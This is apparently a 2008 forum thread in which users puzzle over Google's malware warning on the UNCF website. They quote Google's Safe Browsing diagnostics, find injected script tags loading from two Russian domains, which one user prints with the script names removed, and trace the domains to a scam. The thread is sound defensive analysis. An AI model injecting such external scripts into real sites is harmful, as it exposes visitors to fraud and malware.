Google Blocking UNCF web site!??

[csziggy]

Due to another thread I went to the UNCF web site to look at their requirements for students to apply for funding. Google blocks every page I go to on the UNCF.org site. I have to click the tiny "Ignore this warning" link at the bottom of the second blocking page to navigate the site.

I've just emailed a message to UNCF about this and saved screen shots of the pages, but I find this reprehensible.

[tabatha]

1. I think maybe it is your browser - not Google.

FireFox can block pages that run scripts. You have to set the blocking off.

[csziggy]

6. Google takes credit for blocking

Warning - visiting this web site may harm your computer!
Suggestions:

* Return to the previous page and pick another result.
* Try another search to find what you're looking for.

Or you can continue to http://www.uncf.org/ at your own risk. For detailed information about the problems we found, visit Google's Safe Browsing diagnostic page for this site.

For more information about how to protect yourself from harmful software online, you can visit StopBadware.org.

If you are the owner of this web site, you can request a review of your site using Google's Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center.
Advisory provided by Google

The Safe Browsing Diagnostic page says:

Safe Browsing
Diagnostic page for www.uncf.org/

What is the current listing status for www.uncf.org/?

Site is listed as suspicious - visiting this web site may harm your computer.

What happened when Google visited this site?

Of the 6 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 07/19/2008, and suspicious content was never found on this site within the past 90 days.

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, www.uncf.org/ did not appear to function as an intermediary for the infection of any sites.

Has this site hosted malware?

No, this site has not hosted malicious software over the past 90 days.

How did this happen?

In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Next steps:

* Return to the previous page.
* If you are the owner of this web site, you can request a review of your site using Google Webmaster Tools. More information about the review process is available in Google's Webmaster Help Center.

©2008 Google - Google Home

So it could be due to some malicious hacking, but Google is blocking it despite not finding any malicious software in the last 90 days, according to their own info. :wtf:

[KingFlorez]

2. It must be a problem with their site

Or there was a problem at one time. Google assigns this warning to sites that might be virused or have spyware.

[silverweb]

3. Nope.

I just googled it and had no problem whatsoever.

[billyoc]

4. No.

[Buck Rabbit]

5. For what it is worth. I get the warning too.

Googles general info regarding this warning flag:

Concerns About Content in Our Index: Results labeled 'This site may harm your computer'

We want our users to feel safe when they search the web, and we're continuously working to identify dangerous sites and increase protection for our users. This warning message appears with search results we've identified as sites that may install malicious software on your computer

You can choose to continue to the site at your own risk. However, please be aware that malicious software is often installed without your knowledge or permission when you visit these sites, and can include programs that delete data on your computer, steal personal information such as passwords and credit card numbers, or alter your search results. For more information on these types of sites, please visit StopBadware.org

[Recursion]

7. Often means a site got hacked in the past

I think it takes a couple of months to clear that out of Google's memory.

[blogslut]

8. Looks like Google doesn't like the scripts on the site

I did a quick scan of the source code on the front page of UNCF and it doesn't look like there's anything particularly dangerous. Probably just too much JavaScript, mixed with Flash.

I could be wrong. But then, I'm using PuppyLinux w/Firefox-Bon Echo, so I'm kind of not worried about what the UNCF site would do to my machine. I do get that Google warning page though.

[RoyGBiv]

12. This is the objectionable part ...

Note that I removed the script name so people didn't go clicking it or the presence of it somehow put DU on the potential malware list.

<div style="padding: 5px;"> <a href="/calendar/index.asp?eid=206">
20th Annual Walk for Education<script src=http://www.nudk.ru/****SCRIPT NAME INTENTIONALLY REMOVED***></script><script src=http://www.d5sg.ru/****SCRIPT NAME INTENTIONALLY REMOVED****></script>

That repeats through several options ... I don't know what the script does, but the URL resolves to a SCAM site.

[blogslut]

14. Well, there ya go

I didn't look super close.

Yep. Call me a bigot or whatever but Russians sites are usually all about scamming.

[DevonRex]

18. I'm nodding sagely here, pretending to understand what you just

said. :)

I got the Java and Flash stuff. But I have no idea what PuppyLinux w/Firefox-Bon Echo is.

[blogslut]

19. Oh, that

PuppyLinux is an operating system and BonEcho is a version of Firefox. :)

[quantass]

9. Google and Firefox 3 state the site as "Reported Attack Site".....

My FF3 browser reports this when i try to connect:
-------
This web site at uncf.org has been reported as an attack site and has been blocked based on your security preferences.

Attack sites try to install programs that steal private information, use your computer to attack others, or damage your system.

Some attack sites intentionally distribute harmful software, but many are compromised without the knowledge or permission of their owners.
-------

The reason is stated on Google's pages as:
------
Safe Browsing
Diagnostic page for uncf.org/

(What is the current listing status for uncf.org/?)

Site is listed as suspicious - visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

(What happened when Google visited this site?)

Of the 8 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 07/21/2008, and the last time suspicious content was found on this site was on 07/21/2008.

Malicious software is hosted on 2 domain(s), including nudk.ru, d5sg.ru.

(Has this site acted as an intermediary resulting in further distribution of malware?)

Over the past 90 days, uncf.org/ did not appear to function as an intermediary for the infection of any sites.

(Has this site hosted malware?)

No, this site has not hosted malicious software over the past 90 days.

(How did this happen?)

In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.


I'm situated in Ontario Canada.

[RoyGBiv]

10. Please note this ... SCAM site

How did this happen?

In some cases, third parties can add malicious code to legitimate sites, which would cause us to show the warning message.

Sites like UNCF are regularly attacked by third parties attempting to inject malicious code that could in turn be transferred to visitors to the site. Google doesn't "block" the site. Their algorithms used for searching for this sort of the thing detect it and insert a warning into the search result.

Please place blame where it belongs, with seething racists or other malcontents who have somehow managed to cobble together enough brain power to learn how to crack systems and screw with them.

Also note, two javascript applets are *currently* embedded in the uncf.org main page from Russian domains. That shouldn't be there. I may try to figure out what they do tomorrow when I have the time and energy to boot up my disease factory drive that I use for this sort of thing.

Scripts trying to run are from dsg5.ru and nudk.ru

OnEdit: Before you go around blaming people and finding things reprehensible, do a little research.

OnSecondEdit: Both those URLs resolve to a site that calls itself (through the nifty graphics on the page) cash-transfers.com, but cash-transfers.com doesn't exist.

ThirdEdit: According to the Australian government's website on scams, Cash-Transfers.com, which supposedly has headquarters in New York but for some reasons has Russian URLs, is an employment scam website that attempts to get your financial information and talk you out of several thousand dollars.

So, all in all, I'd say Google's warning, until the UNCF gets those scripts off there, is valid.

Okay, so I wasn't as tired as I thought, and this didn't take nearly as long as I suspected it would.

[ben_meyers]

11. I Got the same sites, blocked by Norton

I sent the notice to Norton and they will notify UNCF's admins. Keep your security software up to date!

[RoyGBiv]

13. Yeah ...

I sent e-mail to the contact address through a whois lookup.

If anyone is paying attention, this will be fixed soon because I imagine they'll get numerous reports about it.

[RoyGBiv]

20. Final update ...

The UNCF site is now back up, scrubbed of the offending scripts.

A Google search for UNCF brings up the link and offers no warning about any potential hazards.

Google's warning did what it was supposed to do, alerted people to a potential hazard. Many people apparently contacted UNCF about the problem. The site was down for a day while they diagnosed it, and now everything is back to normal.

The system worked.

[RoyGBiv]

15. Update ...

As of 9am central time, the UNCF site is effectively down with a space-holder page announcing it is undergoing maintenance.

Seems to me its home page was hijacked and had malicious code inserted into it, which, again, would indicate Google's warning was appropriate.

[ben_meyers]

16. And before any tinfoilers start speculating

the same thing happened to Lucianne.com a while back too.

[RoyGBiv]

17. The motive is money ...

They really couldn't care less about the individual group. They commonly target sites with donation links on the main pages looking for credit card information.